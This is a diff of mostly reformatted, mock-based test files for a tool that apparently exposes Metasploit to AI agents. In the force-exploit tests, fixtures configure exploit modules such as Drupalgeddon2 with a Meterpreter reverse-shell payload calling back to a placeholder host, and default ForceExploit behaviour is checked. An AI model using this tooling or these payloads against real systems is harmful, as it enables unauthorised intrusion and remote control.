watchdog._block_count == 0 - + def test_watchdog_start_stop(self, event_loop): """Test watchdog can start and stop cleanly.""" watchdog = EventLoopWatchdog(event_loop, interval=0.1, threshold=0.5) - + watchdog.start() - + # Thread should be running assert watchdog._thread is not None assert watchdog._thread.is_alive() assert watchdog._thread.name == "EventLoopWatchdog" assert watchdog._thread.daemon is True - + watchdog.stop() - + # Thread should be stopped assert watchdog._thread is None - + def test_watchdog_double_start(self, event_loop): """Test that starting watchdog twice doesn't create duplicate threads.""" watchdog = EventLoopWatchdog(event_loop, interval=0.1, threshold=0.5) - + watchdog.start() first_thread = watchdog._thread - + watchdog.start() # Should log warning but not create new thread - + assert watchdog._thread is first_thread - + watchdog.stop() - + def test_watchdog_detects_blocking(self, event_loop): """Test watchdog detects event loop blocking.""" watchdog = EventLoopWatchdog(event_loop, interval=0.05, threshold=0.01) - + # Run the event loop in a thread def run_loop(): asyncio.set_event_loop(event_loop) event_loop.run_forever() - + loop_thread = threading.Thread(target=run_loop, daemon=True) loop_thread.start() - + watchdog.start() - + # Wait for at least one check time.sleep(0.2) - + # Watchdog should have performed checks assert watchdog._check_count > 0 - + # Stop everything event_loop.call_soon_threadsafe(event_loop.stop) loop_thread.join(timeout=1.0) watchdog.stop() - + def test_watchdog_check_with_closed_loop(self, event_loop): """Test that watchdog handles closed loop gracefully.""" watchdog = EventLoopWatchdog(event_loop, interval=0.1, threshold=0.5) - + # Close the loop event_loop.close() - + # This should not raise an error watchdog._check_event_loop() class TestSlowCallbackLogger: """Test the SlowCallbackLogger class.""" - + def test_slow_callback_logger_initialization(self): """Test logger initializes with correct threshold.""" logger = SlowCallbackLogger(threshold=0.5) assert logger.threshold == 0.5 assert logger.slow_callback_count == 0 - + def test_slow_callback_logger_counts(self): """Test that slow callbacks are counted.""" logger = SlowCallbackLogger(threshold=0.1) - + mock_callback = Mock() mock_callback.__qualname__ = "test_function" mock_callback.__module__ = "test_module" - + logger(0.5, mock_callback) assert logger.slow_callback_count == 1 - + logger(0.3, mock_callback) assert logger.slow_callback_count == 2 - + def test_slow_callback_logger_callback_info(self): """Test callback info extraction.""" logger = SlowCallbackLogger() - + # Test with __qualname__ class TestClass: def test_method(self): pass - + info = logger._get_callback_info(TestClass.test_method) assert "TestClass.test_method" in info - + # Test with __name__ only def test_func(): pass + info = logger._get_callback_info(test_func) assert "test_func" in info class TestConfigureEventLoopDebugging: """Test the configure_event_loop_debugging function.""" - + @pytest.fixture def event_loop(self): """Fixture providing a test event loop.""" @@ -224,17 +225,13 @@ def event_loop(self): stop_event_loop_monitoring() # Clean up if not loop.is_closed(): loop.close() - + def test_configure_debug_mode(self, event_loop): """Test enabling asyncio debug mode.""" - configure_event_loop_debugging( - loop=event_loop, - enable_debug=True, - enable_watchdog=False - ) - + configure_event_loop_debugging(loop=event_loop, enable_debug=True, enable_watchdog=False) + assert event_loop.get_debug() is True - + def test_configure_watchdog(self, event_loop): """Test enabling watchdog.""" configure_event_loop_debugging( @@ -242,20 +239,17 @@ def test_configure_watchdog(self, event_loop): enable_debug=False, enable_watchdog=True, watchdog_interval=0.5, - watchdog_threshold=0.2 + watchdog_threshold=0.2, ) - + stats = get_monitoring_stats() assert stats["watchdog_running"] is True - + def test_configure_with_env_defaults(self, event_loop): """Test configuration uses environment defaults.""" - with patch.dict(os.environ, { - 'ASYNCIO_DEBUG': 'false', - 'EVENT_LOOP_WATCHDOG': 'false' - }): + with patch.dict(os.environ, {"ASYNCIO_DEBUG": "false", "EVENT_LOOP_WATCHDOG": "false"}): configure_event_loop_debugging(loop=event_loop) - + # Should use env defaults (both disabled) assert event_loop.get_debug() is False stats = get_monitoring_stats() @@ -264,59 +258,59 @@ def test_configure_with_env_defaults(self, event_loop): class TestGetMonitoringStats: """Test the get_monitoring_stats function.""" - + def test_stats_when_not_configured(self): """Test stats when monitoring not configured.""" stop_event_loop_monitoring() # Ensure clean state - + stats = get_monitoring_stats() - + assert "watchdog_running" in stats assert "debug_enabled" in stats assert "slow_callback_threshold" in stats - + def test_stats_with_watchdog(self): """Test stats include watchdog data when running.""" loop = asyncio.new_event_loop() - + configure_event_loop_debugging( loop=loop, enable_debug=False, enable_watchdog=True, watchdog_interval=1.0, - watchdog_threshold=0.5 + watchdog_threshold=0.5, ) - + stats = get_monitoring_stats() - + assert stats["watchdog_running"] is True assert "watchdog_check_count" in stats assert "watchdog_block_count" in stats - + stop_event_loop_monitoring() loop.close() class TestCheckEventLoopHealth: """Test the check_event_loop_health function.""" - + @pytest.mark.asyncio async def test_health_check_returns_dict(self): """Test that health check returns expected data structure.""" health = await check_event_loop_health() - + assert "timestamp" in health assert "event_loop_latency_ms" in health assert "debug_mode" in health assert "is_running" in health assert "is_closed" in health assert "monitoring_stats" in health - + @pytest.mark.asyncio async def test_health_check_latency_measured(self): """Test that latency is measured.""" health = await check_event_loop_health() - + # Latency should be a small positive number (in milliseconds) assert health["event_loop_latency_ms"] >= 0 # Should be less than 100ms in normal conditions @@ -325,61 +319,64 @@ async def test_health_check_latency_measured(self): class TestTrackBlockingDecorator: """Test the track_blocking decorator.""" - + @pytest.mark.asyncio async def test_track_blocking_fast_function(self): """Test decorator with fast function doesn't log.""" + @track_blocking(threshold=1.0) async def fast_func(): return "fast" - + result = await fast_func() assert result == "fast" - + @pytest.mark.asyncio async def test_track_blocking_slow_function(self): """Test decorator logs for slow function.""" + @track_blocking(threshold=0.01) # Very low threshold async def slow_func(): await asyncio.sleep(0.05) # Sleep longer than threshold return "slow" - - with patch('event_loop_monitor.logger') as mock_logger: + + with patch("event_loop_monitor.logger") as mock_logger: result = await slow_func() - + assert result == "slow" # Should have logged a warning mock_logger.warning.assert_called() - + @pytest.mark.asyncio async def test_track_blocking_preserves_exception(self): """Test decorator preserves exceptions.""" + @track_blocking(threshold=1.0) async def error_func(): raise ValueError("test error") - + with pytest.raises(ValueError, match="test error"): await error_func() class TestBlockingMonitor: """Test the BlockingMonitor context manager.""" - + @pytest.mark.asyncio async def test_blocking_monitor_fast_block(self): """Test monitor with fast code block.""" async with BlockingMonitor("fast_block", threshold=1.0) as monitor: await asyncio.sleep(0.001) - + assert monitor.start_time is not None - + @pytest.mark.asyncio async def test_blocking_monitor_slow_block(self): """Test monitor logs for slow code block.""" - with patch('event_loop_monitor.logger') as mock_logger: + with patch("event_loop_monitor.logger") as mock_logger: async with BlockingMonitor("slow_block", threshold=0.01): await asyncio.sleep(0.05) - + # Should have logged a warning mock_logger.warning.assert_called() # Check the warning contains the block name @@ -389,106 +386,106 @@ async def test_blocking_monitor_slow_block(self): class TestAsyncSessionCommandFixes: """Test that session shell/exit commands are properly async.""" - + @pytest.fixture def metasploit_source(self): """Fixture providing the MetasploitMCP source code.""" - source_path = os.path.join(os.path.dirname(__file__), '..', 'src/metasploit_mcp/server.py') - with open(source_path, 'r') as f: + source_path = os.path.join(os.path.dirname(__file__), "..", "src/metasploit_mcp/server.py") + with open(source_path, "r") as f: return f.read() - + @pytest.fixture def mock_session(self): """Fixture providing a mock Meterpreter session.""" session = Mock() - session.type = 'meterpreter' - session.info = {'via_exploit': 'exploit/test'} + session.type = "meterpreter" + session.info = {"via_exploit": "exploit/test"} session.run_with_output = Mock(return_value="Channel created.") session.read = Mock(return_value="") session.detach = Mock(return_value=True) return session - + @pytest.fixture def mock_msf_client(self, mock_session): """Fixture providing a mock MSF client with sessions.""" client = Mock() client.sessions.session.return_value = mock_session return client - + def test_shell_command_uses_asyncio_to_thread(self, metasploit_source): """Test that shell command is wrapped in asyncio.to_thread.""" # The shell command should use asyncio.wait_for with asyncio.to_thread assert "asyncio.wait_for" in metasploit_source assert "asyncio.to_thread" in metasploit_source - # Verify the specific pattern for shell command - run_with_output wrapped in to_thread - assert "asyncio.to_thread(lambda: session.run_with_output(command, end_strs=['created.']))" in metasploit_source + # Verify the specific pattern for shell command - run_with_output wrapped in to_thread. + # Compare with whitespace removed so the assertion survives line-wrapping by formatters. + compact_source = "".join(metasploit_source.split()) + assert ( + 'asyncio.to_thread(lambda:session.run_with_output(command,end_strs=["created."]))' + in compact_source + ) def test_exit_command_uses_asyncio_to_thread(self, metasploit_source): """Test that exit command calls are wrapped in asyncio.to_thread.""" # Verify exit command uses async patterns # Check for session.read() wrapped in to_thread assert "asyncio.to_thread(lambda: session.read())" in metasploit_source - # Check for session.detach() wrapped in to_thread + # Check for session.detach() wrapped in to_thread assert "asyncio.to_thread(lambda: session.detach())" in metasploit_source - + def test_no_blocking_calls_in_shell_switch(self, metasploit_source): """Verify no direct blocking calls exist for shell mode switching.""" # Find the shell command handling section - lines = metasploit_source.split('\n') + lines = metasploit_source.split("\n") in_shell_section = False blocking_calls_found = [] - + for i, line in enumerate(lines): if 'if command == "shell"' in line: in_shell_section = True - elif in_shell_section and ('elif command ==' in line or 'else:' in line): + elif in_shell_section and ("elif command ==" in line or "else:" in line): # Check if we're still in meterpreter mode section - if 'exit' in line: + if "exit" in line: continue in_shell_section = False - + if in_shell_section: # Check for blocking calls NOT wrapped in asyncio.to_thread # Direct session.run_with_output or session.read without await/to_thread stripped = line.strip() - if stripped.startswith('output = session.run_with_output'): + if stripped.startswith("output = session.run_with_output"): blocking_calls_found.append(f"Line {i}: {stripped}") - if stripped.startswith('session.read()') and 'to_thread' not in line: + if stripped.startswith("session.read()") and "to_thread" not in line: blocking_calls_found.append(f"Line {i}: {stripped}") - + # Should find no direct blocking calls assert len(blocking_calls_found) == 0, f"Found blocking calls: {blocking_calls_found}" class TestStopEventLoopMonitoring: """Test the stop_event_loop_monitoring function.""" - + def test_stop_when_not_running(self): """Test stopping when no monitoring is running.""" # Should not raise any errors stop_event_loop_monitoring() - + def test_stop_cleans_up_watchdog(self): """Test that stop properly cleans up watchdog.""" loop = asyncio.new_event_loop() - - configure_event_loop_debugging( - loop=loop, - enable_debug=False, - enable_watchdog=True - ) - + + configure_event_loop_debugging(loop=loop, enable_debug=False, enable_watchdog=True) + stats_before = get_monitoring_stats() assert stats_before["watchdog_running"] is True - + stop_event_loop_monitoring() - + stats_after = get_monitoring_stats() assert stats_after["watchdog_running"] is False - + loop.close() if __name__ == "__main__": pytest.main([__file__, "-v"]) - diff --git a/tests/test_force_exploit_autocheck.py b/tests/test_force_exploit_autocheck.py index b718f53..66c0dd9 100644 --- a/tests/test_force_exploit_autocheck.py +++ b/tests/test_force_exploit_autocheck.py @@ -1,18 +1,9 @@ -import sys import time -from pathlib import Path from unittest.mock import AsyncMock, MagicMock, patch import pytest -METASPLOIT_DIR = Path(__file__).resolve().parents[1] -if METASPLOIT_DIR.exists(): - sys.path.insert(0, str(METASPLOIT_DIR)) - -metasploit_mcp = pytest.importorskip( - "MetasploitMCP", - reason="MetasploitMCP checkout is not present in this repository CI run", -) +from metasploit_mcp import server as metasploit_mcp def _make_module(fullname: str, valid_options: dict | None = None) -> MagicMock: @@ -28,7 +19,9 @@ async def test_run_exploit_force_exploit_injected_by_default(monkeypatch): "exploit/unix/webapp/drupal_drupalgeddon2", valid_options={"ForceExploit": {}, "AutoCheck": {}, "RHOSTS": {}}, ) - monkeypatch.setattr(metasploit_mcp, "_get_module_object", AsyncMock(return_value=exploit_module)) + monkeypatch.setattr( + metasploit_mcp, "_get_module_object", AsyncMock(return_value=exploit_module) + ) with patch.object( metasploit_mcp, @@ -53,7 +46,9 @@ async def test_run_exploit_force_exploit_false_preserves_options(monkeypatch): "exploit/unix/webapp/drupal_drupalgeddon2", valid_options={"ForceExploit": {}, "AutoCheck": {}, "RHOSTS": {}}, ) - monkeypatch.setattr(metasploit_mcp, "_get_module_object", AsyncMock(return_value=exploit_module)) + monkeypatch.setattr( + metasploit_mcp, "_get_module_object", AsyncMock(return_value=exploit_module) + ) with patch.object( metasploit_mcp, @@ -126,7 +121,10 @@ async def get_module_object_stub(module_type, _module_name): module_type="exploit", module_name="exploit/unix/webapp/drupal_drupalgeddon2", module_options={"RHOSTS": "192.0.2.10", "ForceExploit": True, "AutoCheck": False}, - payload_spec={"name": "php/meterpreter/reverse_tcp", "options": {"LHOST": "192.0.2.5", "LPORT": 4444}}, + payload_spec={ + "name": "php/meterpreter/reverse_tcp", + "options": {"LHOST": "192.0.2.5", "LPORT": 4444}, + }, ) elapsed = time.monotonic() - start @@ -178,7 +176,10 @@ async def get_module_object_stub(module_type, _module_name): module_type="exploit", module_name="exploit/unix/webapp/drupal_drupalgeddon2", module_options={"RHOSTS": "192.0.2.10"}, - payload_spec={"name": "php/meterpreter/reverse_tcp", "options": {"LHOST": "192.0.2.5", "LPORT": 4444}}, + payload_spec={ + "name": "php/meterpreter/reverse_tcp", + "options": {"LHOST": "192.0.2.5", "LPORT": 4444}, + }, ) assert result["status"] == "warning" @@ -191,7 +192,9 @@ async def test_run_exploit_skips_unsupported_force_options(monkeypatch): "exploit/multi/http/php_cgi_arg_injection", valid_options={"RHOSTS": {}, "RPORT": {}, "TARGETURI": {}}, ) - monkeypatch.setattr(metasploit_mcp, "_get_module_object", AsyncMock(return_value=exploit_module)) + monkeypatch.setattr( + metasploit_mcp, "_get_module_object", AsyncMock(return_value=exploit_module) + ) with patch.object( metasploit_mcp, diff --git a/tests/test_health_check.py b/tests/test_health_check.py index de73554..1a95e92 100644 --- a/tests/test_health_check.py +++ b/tests/test_health_check.py @@ -13,6 +13,7 @@ # Import MetasploitMCP import sys import os + sys.path.insert(0, os.path.dirname(os.path.dirname(__file__))) import metasploit_mcp.server as MetasploitMCP @@ -23,23 +24,24 @@ async def test_http_health_check_healthy(): """Test that HTTP health check endpoint returns healthy status when MSF RPC is available""" # Create a mock request mock_request = Mock(spec=Request) - + # Mock the MSF client mock_client = Mock() - mock_client.core.version = {'version': '6.2.0'} - - with patch.object(MetasploitMCP, 'get_msf_client', return_value=mock_client): - with patch('asyncio.wait_for', new=AsyncMock(return_value={'version': '6.2.0'})): + mock_client.core.version = {"version": "6.2.0"} + + with patch.object(MetasploitMCP, "get_msf_client", return_value=mock_client): + with patch("asyncio.wait_for", new=AsyncMock(return_value={"version": "6.2.0"})): response = await MetasploitMCP.http_health_endpoint(mock_request) - + # Check response type and status code assert isinstance(response, JSONResponse) assert response.status_code == 200 - + # Parse response body import json + body = json.loads(response.body.decode()) - + # Check response structure assert body["status"] == "healthy" assert body["service"] == "MetasploitMCP" @@ -52,23 +54,24 @@ async def test_http_health_check_healthy(): async def test_http_health_check_timeout(): """Test that HTTP health check endpoint returns unhealthy status on timeout""" mock_request = Mock(spec=Request) - + # Mock the MSF client mock_client = Mock() - - with patch.object(MetasploitMCP, 'get_msf_client', return_value=mock_client): + + with patch.object(MetasploitMCP, "get_msf_client", return_value=mock_client): # Simulate timeout - with patch('asyncio.wait_for', side_effect=asyncio.TimeoutError()): + with patch("asyncio.wait_for", side_effect=asyncio.TimeoutError()): response = await MetasploitMCP.http_health_endpoint(mock_request) - + # Check response assert isinstance(response, JSONResponse) assert response.status_code == 503 - + # Parse response body import json + body = json.loads(response.body.decode()) - + # Check that status is unhealthy assert body["status"] == "unhealthy" assert body["service"] == "MetasploitMCP" @@ -80,19 +83,22 @@ async def test_http_health_check_timeout(): async def test_http_health_check_connection_error(): """Test that HTTP health check endpoint returns unhealthy status on connection error""" mock_request = Mock(spec=Request) - + # Mock get_msf_client to raise ConnectionError - with patch.object(MetasploitMCP, 'get_msf_client', side_effect=ConnectionError("Connection refused")): + with patch.object( + MetasploitMCP, "get_msf_client", side_effect=ConnectionError("Connection refused") + ): response = await MetasploitMCP.http_health_endpoint(mock_request) - + # Check response assert isinstance(response, JSONResponse) assert response.status_code == 503 - + # Parse response body import json + body = json.loads(response.body.decode()) - + # Check that status is unhealthy assert body["status"] == "unhealthy" assert "error" in body @@ -103,23 +109,24 @@ async def test_http_health_check_connection_error(): async def test_http_health_check_msfrpc_error(): """Test that HTTP health check endpoint handles MsfRpcError""" from pymetasploit3.msfrpc import MsfRpcError - + mock_request = Mock(spec=Request) mock_client = Mock() - - with patch.object(MetasploitMCP, 'get_msf_client', return_value=mock_client): + + with patch.object(MetasploitMCP, "get_msf_client", return_value=mock_client): # Simulate MsfRpcError - with patch('asyncio.wait_for', side_effect=MsfRpcError("RPC error")): + with patch("asyncio.wait_for", side_effect=MsfRpcError("RPC error")): response = await MetasploitMCP.http_health_endpoint(mock_request) - + # Check response assert isinstance(response, JSONResponse) assert response.status_code == 503 - + # Parse response body import json + body = json.loads(response.body.decode()) - + # Check that status is unhealthy assert body["status"] == "unhealthy" assert "error" in body @@ -130,20 +137,21 @@ async def test_http_health_check_unexpected_error(): """Test that HTTP health check endpoint handles unexpected errors gracefully""" mock_request = Mock(spec=Request) mock_client = Mock() - - with patch.object(MetasploitMCP, 'get_msf_client', return_value=mock_client): + + with patch.object(MetasploitMCP, "get_msf_client", return_value=mock_client): # Simulate unexpected exception - with patch('asyncio.wait_for', side_effect=Exception("Unexpected error")): + with patch("asyncio.wait_for", side_effect=Exception("Unexpected error")): response = await MetasploitMCP.http_health_endpoint(mock_request) - + # Check response assert isinstance(response, JSONResponse) assert response.status_code == 500 - + # Parse response body import json + body = json.loads(response.body.decode()) - + # Check that status is unhealthy assert body["status"] == "unhealthy" assert "error" in body @@ -154,17 +162,18 @@ async def test_http_health_check_unexpected_error(): async def test_http_root_endpoint(): """Test that root endpoint returns basic service information""" mock_request = Mock(spec=Request) - + response = await MetasploitMCP.http_root_endpoint(mock_request) - + # Check response type and status code assert isinstance(response, JSONResponse) assert response.status_code == 200 - + # Parse response body import json + body = json.loads(response.body.decode()) - + # Check response structure assert body["service"] == "MetasploitMCP" assert "version" in body @@ -175,7 +184,9 @@ async def test_http_root_endpoint(): assert "msf_server" in body -@pytest.mark.skip(reason="MCP tool testing requires FastMCP internals, HTTP endpoints are the primary health check mechanism") +@pytest.mark.skip( + reason="MCP tool testing requires FastMCP internals, HTTP endpoints are the primary health check mechanism" +) @pytest.mark.asyncio async def test_health_check_tool(): """Test the MCP tool version of health_check (for backward compatibility)""" @@ -185,7 +196,9 @@ async def test_health_check_tool(): pass -@pytest.mark.skip(reason="MCP tool testing requires FastMCP internals, HTTP endpoints are the primary health check mechanism") +@pytest.mark.skip( + reason="MCP tool testing requires FastMCP internals, HTTP endpoints are the primary health check mechanism" +) @pytest.mark.asyncio async def test_health_check_tool_timeout(): """Test the MCP tool version of health_check with timeout""" @@ -196,4 +209,3 @@ async def test_health_check_tool_timeout(): if __name__ == "__main__": pytest.main([__file__, "-v"]) - diff --git a/tests/test_helpers.py b/tests/test_helpers.py index b110691..3bf7e56 100644 --- a/tests/test_helpers.py +++ b/tests/test_helpers.py @@ -11,24 +11,25 @@ from typing import Dict, Any # Add the parent directory to the path to import metasploit_mcp.server as MetasploitMCP -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) # Mock the dependencies that aren't available in test environment mock_uvicorn = Mock() mock_uvicorn.server = Mock() -sys.modules['uvicorn'] = mock_uvicorn -sys.modules['uvicorn.server'] = mock_uvicorn.server -sys.modules['fastapi'] = Mock() -sys.modules['mcp.server.fastmcp'] = Mock() -sys.modules['mcp.server.sse'] = Mock() -sys.modules['pymetasploit3.msfrpc'] = Mock() -sys.modules['starlette.applications'] = Mock() -sys.modules['starlette.routing'] = Mock() -sys.modules['mcp.server.session'] = Mock() +sys.modules["uvicorn"] = mock_uvicorn +sys.modules["uvicorn.server"] = mock_uvicorn.server +sys.modules["fastapi"] = Mock() +sys.modules["mcp.server.fastmcp"] = Mock() +sys.modules["mcp.server.sse"] = Mock() +sys.modules["pymetasploit3.msfrpc"] = Mock() +sys.modules["starlette.applications"] = Mock() +sys.modules["starlette.routing"] = Mock() +sys.modules["mcp.server.session"] = Mock() # Mock fastmcp before it's imported -sys.modules['fastmcp'] = Mock() -sys.modules['fastmcp.client'] = Mock() -sys.modules['fastmcp.client.transports'] = Mock() +sys.modules["fastmcp"] = Mock() +sys.modules["fastmcp.client"] = Mock() +sys.modules["fastmcp.client.transports"] = Mock() + # Create mock classes for MSF objects class MockMsfRpcClient: @@ -39,75 +40,84 @@ def __init__(self): self.jobs = Mock() self.consoles = Mock() + class MockMsfConsole: - def __init__(self, cid='test-console-id'): + def __init__(self, cid="test-console-id"): self.cid = cid - + def read(self): - return {'data': 'test output', 'prompt': 'msf6 > ', 'busy': False} - + return {"data": "test output", "prompt": "msf6 > ", "busy": False} + def write(self, command): return True -class MockMsfRpcError(Exception): - pass + +# Use the canonical MsfRpcError so its identity matches the class that +# metasploit_mcp.server catches at runtime (see tests/__init__.py). +from tests import MockMsfRpcError # Patch the MSF modules -sys.modules['pymetasploit3.msfrpc'].MsfRpcClient = MockMsfRpcClient -sys.modules['pymetasploit3.msfrpc'].MsfConsole = MockMsfConsole -sys.modules['pymetasploit3.msfrpc'].MsfRpcError = MockMsfRpcError +sys.modules["pymetasploit3.msfrpc"].MsfRpcClient = MockMsfRpcClient +sys.modules["pymetasploit3.msfrpc"].MsfConsole = MockMsfConsole +sys.modules["pymetasploit3.msfrpc"].MsfRpcError = MockMsfRpcError # Import after mocking from metasploit_mcp.server import ( - _get_module_object, _set_module_options, initialize_msf_client, - get_msf_client, get_msf_console, run_command_safely, - find_available_port, InvalidModuleError, _find_similar_modules, - IS_VULNERABLE_RE, IS_NOT_VULNERABLE_RE, SESSION_OPENED_RE, FAILED_TO_LOAD_MODULE_RE + _get_module_object, + _set_module_options, + initialize_msf_client, + get_msf_client, + get_msf_console, + run_command_safely, + find_available_port, + InvalidModuleError, + _find_similar_modules, + IS_VULNERABLE_RE, + IS_NOT_VULNERABLE_RE, + SESSION_OPENED_RE, + FAILED_TO_LOAD_MODULE_RE, ) class TestMsfClientFunctions: """Test MSF client initialization and management functions.""" - @patch('metasploit_mcp.server.MSF_PASSWORD', 'test-password') - @patch('metasploit_mcp.server.MSF_SERVER', '127.0.0.1') - @patch('metasploit_mcp.server.MSF_PORT_STR', '55553') - @patch('metasploit_mcp.server.MSF_SSL_STR', 'false') + @patch("metasploit_mcp.server.MSF_PASSWORD", "test-password") + @patch("metasploit_mcp.server.MSF_SERVER", "127.0.0.1") + @patch("metasploit_mcp.server.MSF_PORT_STR", "55553") + @patch("metasploit_mcp.server.MSF_SSL_STR", "false") def test_initialize_msf_client_success(self): """Test successful MSF client initialization.""" - with patch('metasploit_mcp.server._msf_client_instance', None): - with patch('metasploit_mcp.server.MsfRpcClient') as mock_client_class: + with patch("metasploit_mcp.server._msf_client_instance", None): + with patch("metasploit_mcp.server.MsfRpcClient") as mock_client_class: mock_client = Mock() - mock_client.core.version = {'version': '6.3.0'} + mock_client.core.version = {"version": "6.3.0"} mock_client_class.return_value = mock_client - + result = initialize_msf_client() - + assert result is mock_client mock_client_class.assert_called_once_with( - password='test-password', - server='127.0.0.1', - port=55553, - ssl=False + password="test-password", server="127.0.0.1", port=55553, ssl=False ) - @patch('metasploit_mcp.server.MSF_PORT_STR', 'invalid-port') + @patch("metasploit_mcp.server.MSF_PORT_STR", "invalid-port") def test_initialize_msf_client_invalid_port(self): """Test MSF client initialization with invalid port.""" - with patch('metasploit_mcp.server._msf_client_instance', None): + with patch("metasploit_mcp.server._msf_client_instance", None): with pytest.raises(ValueError, match="Invalid MSF connection parameters"): initialize_msf_client() def test_get_msf_client_not_initialized(self): """Test get_msf_client when client not initialized.""" - with patch('metasploit_mcp.server._msf_client_instance', None): + with patch("metasploit_mcp.server._msf_client_instance", None): with pytest.raises(ConnectionError, match="not been initialized"): get_msf_client() def test_get_msf_client_initialized(self): """Test get_msf_client when client is initialized.""" mock_client = Mock() - with patch('metasploit_mcp.server._msf_client_instance', mock_client): + with patch("metasploit_mcp.server._msf_client_instance", mock_client): result = get_msf_client() assert result is mock_client @@ -119,7 +129,7 @@ class TestGetModuleObject: def mock_client(self): """Fixture providing a mock MSF client.""" client = Mock() - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): yield client @pytest.mark.asyncio @@ -127,68 +137,74 @@ async def test_get_module_object_success(self, mock_client): """Test successful module object retrieval.""" mock_module = Mock() mock_client.modules.use.return_value = mock_module - - result = await _get_module_object('exploit', 'windows/smb/ms17_010_eternalblue') - + + result = await _get_module_object("exploit", "windows/smb/ms17_010_eternalblue") + assert result is mock_module - mock_client.modules.use.assert_called_once_with('exploit', 'windows/smb/ms17_010_eternalblue') + mock_client.modules.use.assert_called_once_with( + "exploit", "windows/smb/ms17_010_eternalblue" + ) @pytest.mark.asyncio async def test_get_module_object_full_path(self, mock_client): """Test module object retrieval with full path.""" mock_module = Mock() mock_client.modules.use.return_value = mock_module - - result = await _get_module_object('exploit', 'exploit/windows/smb/ms17_010_eternalblue') - + + result = await _get_module_object("exploit", "exploit/windows/smb/ms17_010_eternalblue") + assert result is mock_module # Should strip the module type prefix - mock_client.modules.use.assert_called_once_with('exploit', 'windows/smb/ms17_010_eternalblue') + mock_client.modules.use.assert_called_once_with( + "exploit", "windows/smb/ms17_010_eternalblue" + ) @pytest.mark.asyncio async def test_get_module_object_not_found(self, mock_client): """Test module object retrieval when module not found.""" mock_client.modules.use.side_effect = KeyError("Module not found") - + with pytest.raises(InvalidModuleError) as exc_info: - await _get_module_object('exploit', 'nonexistent/module') - + await _get_module_object("exploit", "nonexistent/module") + # Verify exception has proper attributes - assert exc_info.value.module_type == 'exploit' - assert exc_info.value.module_name == 'nonexistent/module' - assert 'not found' in str(exc_info.value) + assert exc_info.value.module_type == "exploit" + assert exc_info.value.module_name == "nonexistent/module" + assert "not found" in str(exc_info.value) @pytest.mark.asyncio async def test_get_module_object_invalid_module_error(self, mock_client): """Test module object retrieval when Metasploit returns Invalid Module error.""" # Simulate the RPC call returning an error dict (Invalid Module) - mock_client.call = Mock(return_value={ - 'error': True, - 'error_class': 'Msf::RPC::Exception', - 'error_message': 'Invalid Module', - 'error_backtrace': [ - 'lib/msf/core/rpc/v10/rpc_base.rb:26:in error', - 'lib/msf/core/rpc/v10/rpc_module.rb:743:in _find_module' - ] - }) - + mock_client.call = Mock( + return_value={ + "error": True, + "error_class": "Msf::RPC::Exception", + "error_message": "Invalid Module", + "error_backtrace": [ + "lib/msf/core/rpc/v10/rpc_base.rb:26:in error", + "lib/msf/core/rpc/v10/rpc_module.rb:743:in _find_module", + ], + } + ) + with pytest.raises(InvalidModuleError) as exc_info: - await _get_module_object('auxiliary', 'scanner/http/nonexistent') - + await _get_module_object("auxiliary", "scanner/http/nonexistent") + # Verify the exception message is clean (no backtrace) error_message = str(exc_info.value) - assert 'not found' in error_message + assert "not found" in error_message # Verify backtrace is NOT in the exception message - assert 'rpc_base.rb' not in error_message - assert 'Backtrace' not in error_message - + assert "rpc_base.rb" not in error_message + assert "Backtrace" not in error_message + @pytest.mark.asyncio async def test_get_module_object_msf_error(self, mock_client): """Test module object retrieval with MSF RPC error.""" mock_client.modules.use.side_effect = MockMsfRpcError("RPC Error") - + with pytest.raises(MockMsfRpcError, match="RPC Error"): - await _get_module_object('exploit', 'test/module') + await _get_module_object("exploit", "test/module") class TestInvalidModuleErrorException: @@ -197,55 +213,51 @@ class TestInvalidModuleErrorException: def test_invalid_module_error_creation(self): """Test creating an InvalidModuleError.""" error = InvalidModuleError( - module_type='exploit', - module_name='windows/smb/fake_module', - message='Module not found' + module_type="exploit", module_name="windows/smb/fake_module", message="Module not found" ) - - assert error.module_type == 'exploit' - assert error.module_name == 'windows/smb/fake_module' - assert str(error) == 'Module not found' + + assert error.module_type == "exploit" + assert error.module_name == "windows/smb/fake_module" + assert str(error) == "Module not found" def test_invalid_module_error_is_value_error(self): """Test that InvalidModuleError is a subclass of ValueError.""" error = InvalidModuleError( - module_type='auxiliary', - module_name='scanner/test', - message='Test error' + module_type="auxiliary", module_name="scanner/test", message="Test error" ) - + # Should be catchable as ValueError for backwards compatibility assert isinstance(error, ValueError) - + def test_invalid_module_error_no_traceback_in_message(self): """Test that error message is clean without traceback.""" error = InvalidModuleError( - module_type='payload', - module_name='unix/meterpreter/reverse_tcp', - message="Module 'payload/unix/meterpreter/reverse_tcp' not found in Metasploit." + module_type="payload", + module_name="unix/meterpreter/reverse_tcp", + message="Module 'payload/unix/meterpreter/reverse_tcp' not found in Metasploit.", ) - + error_str = str(error) # Should not contain any backtrace information - assert 'Traceback' not in error_str - assert 'rpc_base.rb' not in error_str - assert 'rpc_module.rb' not in error_str + assert "Traceback" not in error_str + assert "rpc_base.rb" not in error_str + assert "rpc_module.rb" not in error_str def test_invalid_module_error_with_suggestions(self): """Test that error message can include suggestions.""" error = InvalidModuleError( - module_type='auxiliary', - module_name='scanner/http/nikto', + module_type="auxiliary", + module_name="scanner/http/nikto", message="Module 'auxiliary/scanner/http/nikto' not found in Metasploit.\n\n" - "Did you mean one of these?\n" - " - auxiliary/scanner/http/dir_scanner\n" - " - auxiliary/scanner/http/http_version" + "Did you mean one of these?\n" + " - auxiliary/scanner/http/dir_scanner\n" + " - auxiliary/scanner/http/http_version", ) - + error_str = str(error) - assert 'Did you mean' in error_str - assert 'dir_scanner' in error_str - assert 'http_version' in error_str + assert "Did you mean" in error_str + assert "dir_scanner" in error_str + assert "http_version" in error_str class TestFindSimilarModules: @@ -255,7 +267,7 @@ class TestFindSimilarModules: def mock_client(self): """Fixture providing a mock MSF client.""" client = Mock() - with patch('metasploit_mcp.server.get_msf_client', return_value=client): + with patch("metasploit_mcp.server.get_msf_client", return_value=client): yield client @pytest.mark.asyncio @@ -263,52 +275,52 @@ async def test_find_similar_modules_exploit(self, mock_client): """Test finding similar exploit modules.""" # Mock available exploits mock_client.modules.exploits = [ - 'windows/smb/ms17_010_eternalblue', - 'windows/smb/ms08_067_netapi', - 'linux/http/apache_mod_cgi_bash_env_exec', - 'multi/http/apache_normalize_path_rce', 